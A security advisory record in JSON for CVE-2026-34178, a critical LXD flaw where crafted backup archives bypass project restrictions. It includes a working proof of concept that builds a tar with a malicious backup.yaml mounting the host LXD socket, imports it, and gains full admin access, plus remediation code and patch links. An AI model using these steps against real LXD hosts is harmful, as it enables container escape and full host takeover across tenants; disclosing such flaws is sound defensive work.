{"id":"CVE-2026-34178","aliases":["GHSA-q96j-3fmm-7fv4","GO-2026-5576"],"title":"LXD: Importing a crafted backup leads to project restriction bypass","summary":"LXD: Importing a crafted backup leads to project restriction bypass","severity":"critical","cvss":9.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","vendor":"canonical","product":"github.com/canonical/lxd","ecosystem":"go","affected":["github.com/canonical/lxd >= 0.0.0-20210305023314-538ac3df036e, <= 0.0.0-20260226085519-736f34afb267"],"published":"2026-04-10","updated":"2026-08-11","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-q96j-3fmm-7fv4","references":[{"url":"https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34178"},{"url":"https://github.com/canonical/lxd/pull/17921"},{"url":"https://github.com/canonical/lxd"}],"tags":["osv","go"],"epss":0.00424,"epssPercentile":0.36235,"ingestedAt":"2026-08-12T19:18:08.196Z","slug":"CVE-2026-34178","body":"## Overview\n\n## Summary\n\nLXD instance backup import validates project restrictions against `backup/index.yaml` embedded in the tar archive, but creates the actual instance from `backup/container/backup.yaml` extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where `index.yaml` contains clean configuration (passing all restriction checks) while `backup.yaml` contains `security.privileged=true`, `raw.lxc` host filesystem mounts, and restricted device types. The instance is created from the unchecked `backup.yaml`, bypassing all project restriction enforcement.\n\n## Details\n\nLXD projects support a `restricted=true` mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking `security.privileged=true` containers, `raw.lxc` / `raw.apparmor` overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.\n\nThe backup import path has two distinct configuration sources within a single tar archive:\n\n1. `backup/index.yaml` - A quick-access metadata file read by `backup.GetInfo()` at `backup/backup_info.go:68`. This is the config checked against project restrictions.\n2. `backup/container/backup.yaml` - The full instance configuration extracted to the storage volume and used for actual instance creation at `api_internal.go:784`.\n\nThe vulnerability exists because:\n\n1. `AllowInstanceCreation()` at `instances_post.go:885` validates project restrictions using only `bInfo.Config` from `index.yaml`.\n\n2. The tar contents (including `backup/container/backup.yaml`) are extracted to the storage volume at `generic_vfs.go:952` via `unpackVolume()`.\n\n3. `UpdateInstanceConfig()` at `backup_config_utils.go:236` reads `backup.yaml` from storage but only syncs `Name`, `Project`, pool info, and volume UUIDs - it does not overwrite `Instance.Config` or `Instance.Devices`.\n\n4. `internalImportFromBackup()` at `api_internal.go:784` reads `backup.yaml` from the storage mount path (not `index.yaml`) to build the instance database record.\n\n5. `instance.CreateInternal()` at `api_internal.go:946` creates the instance using the config from `backup.yaml`. `CreateInternal` calls `ValidConfig` which validates config key **format** only, not project restriction compliance.\n\n\n## Proof of Concept\n\n### Environment setup (server admin)\n\nThese steps are performed by the LXD server administrator to set up the\nrestricted project and grant access to the user. This represents the normal\nmulti-tenant configuration that the exploit targets.\n\n```bash\n# Create a restricted project\nlxc project create restricted-project \\\n  -c features.images=false \\\n  -c features.profiles=true \\\n  -c restricted=true\n\n# Create a default profile with a root disk in the restricted project\nlxc profile device add default root disk \\\n  path=/ pool=default --project restricted-project\n\n# Create a group with instance management permissions in the restricted project\nlxc auth group create poc-group\nlxc auth group permission add poc-group project restricted-project can_view\nlxc auth group permission add poc-group project restricted-project can_create_instances\nlxc auth group permission add poc-group project restricted-project can_view_instances\nlxc auth group permission add poc-group project restricted-project can_operate_instances\n\n# Create a TLS identity for the attacker, scoped to the group\nlxc auth identity create tls/poc-attacker --group poc-group\n\n# The attacker uses it to add the remote:\n# lxc remote add target-lxd <token>\n```\n\nAfter this setup, the attacker can create normal unprivileged instances in\n`restricted-project` but should not be able to create privileged containers,\nuse `raw.lxc`, or attach GPU/USB/unix-char devices. The exploit bypasses\nall of these restrictions.\n\n### Steps\n\n**1. Create an instance backup archive locally**\n\nThe attacker constructs the entire backup archive locally. No access to any\nLXD server is needed for this step. \n\n```shell\n# Create the backup directory structure\nmkdir -p backup/container\n\n# Build a minimal rootfs with an init system using debootstrap\nsudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/\n\n# Create backup index.yaml\ncat >backup/index.yaml <<EOF\nversion: 2\nname: escalated-instance\nbackend: dir\npool: default\ntype: container\noptimized: false\nconfig:\n  instance:\n    name: escalated-instance\n    architecture: x86_64\n    type: container\n    config: {}\n    devices: {}\n    expanded_config: {}\n    expanded_devices:\n      root:\n        path: /\n        pool: default\n        type: disk\n    profiles:\n      - default\n    stateful: false\n  pools:\n    - name: default\n      driver: dir\n  volumes:\n    - name: escalated-instance\n      type: container\n      pool: default\n      content_type: filesystem\n      config:\n        volatile.uuid: \"00000000-0000-0000-0000-000000000000\"\nEOF\n\n# Create malicious `backup/container/backup.yaml`\n# This is the file LXD actually uses to create the instance. It contains the\n# restricted config and devices that should be blocked by the project. LXD\n# never compares this file against `index.yaml` or re-validates it against\n# project restrictions.\n\ncat > backup/container/backup.yaml <<EOF\ninstance:\n  name: escalated-instance\n  architecture: x86_64\n  type: container\n  config:\n    security.privileged: \"true\"\n    raw.lxc: |\n      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0\n    raw.apparmor: \"\"\n  devices: {}\n  expanded_config:\n    security.privileged: \"true\"\n    raw.lxc: |\n      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0\n    raw.apparmor: \"\"\n  expanded_devices:\n    root:\n      path: /\n      pool: default\n      type: disk\n  profiles:\n    - default\n  stateful: false\npools:\n  - name: default\n    driver: dir\nvolumes:\n  - name: escalated-instance\n    type: container\n    pool: default\n    content_type: filesystem\n    config:\n      volatile.uuid: \"00000000-0000-0000-0000-000000000000\"\nEOF\n\n# Package the archive\ntar -cf malicious-backup.tar backup/\n```\n\n**2. Connect to the target LXD server and import the backup**\n\nConnect to the target LXD server and confirm restricted access:\n\n```bash\n# Add the target server as a remote\nlxc remote add target-lxd <token>\n\n# Confirm the attacker's restricted access (command returns restricted=true)\nlxc project show target-lxd:restricted-project\n\n# Confirm the attacker can't launch a privileged container (command should fail)\nlxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true\n\n# Import malicious backup\nlxc import target-lxd: malicious-backup.tar --project restricted-project\n\n# Verify the restricted config was accepted into the restricted project\nlxc config show target-lxd:escalated-instance --project restricted-project\n\n# Output contains:\n# security.privileged: \"true\"\n```\n\n**3. Escalate to full LXD admin**\n\nStart the container and use the LXD Unix socket, which was bind-mounted\nfrom the host via `raw.lxc`. Local connections over the Unix socket are\ntrusted as full admin with unrestricted access across all projects.\n\n```bash\nlxc start target-lxd:escalated-instance --project restricted-project\n\n# Query the LXD API via the bind-mounted Unix socket (full admin access)\nlxc exec target-lxd:escalated-instance --project restricted-project -- \\\n  curl -s --unix-socket /unix.socket http://localhost/1.0/projects\n\n# From here the attacker has full control: create admin certs, access\n# all projects, modify any instance, or mount the host filesystem.\n```\n\n## Impact\n\nThe exploit allows full host compromise from within a restricted project.\nThe requirement is that the user has `can_view_instances`, `can_create_instances` and `can_operate_instances` on the project -- standard permissions for any tenant expected to manage instances.\n\n## Possible remediation\n\nAdd a second `AllowInstanceCreation` (or `checkInstanceRestrictions`) call after `backup.yaml` is read from storage and before `CreateInternal` is called. In `api_internal.go`, between the `ParseConfigYamlFile` call (line 784) and the `CreateInternal` call (line 946):\n\n```go\n// After parsing backup.yaml, re-validate project restrictions\n// against the config that will actually be used for instance creation\nerr = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error {\n    req := api.InstancesPost{\n        InstancePut: api.InstancePut{\n            Config:  backupConf.Instance.Config,\n            Devices: backupConf.Instance.Devices,\n        },\n        Type: api.InstanceType(backupConf.Instance.Type),\n    }\n\n    return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req)\n})\nif err != nil {\n    return fmt.Errorf(\"Backup config violates project restrictions: %w\", err)\n}\n```\n\n### Patches\n\n| LXD Series  | Interim release |\n| ------------- | ------------- |\n| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1  |\n| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1  |\n| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |\n\n## Affected packages\n\n- `github.com/canonical/lxd >= 0.0.0-20210305023314-538ac3df036e, <= 0.0.0-20260226085519-736f34afb267`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"midnight","depthScore":50,"depthScoreParts":{"impact":50.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}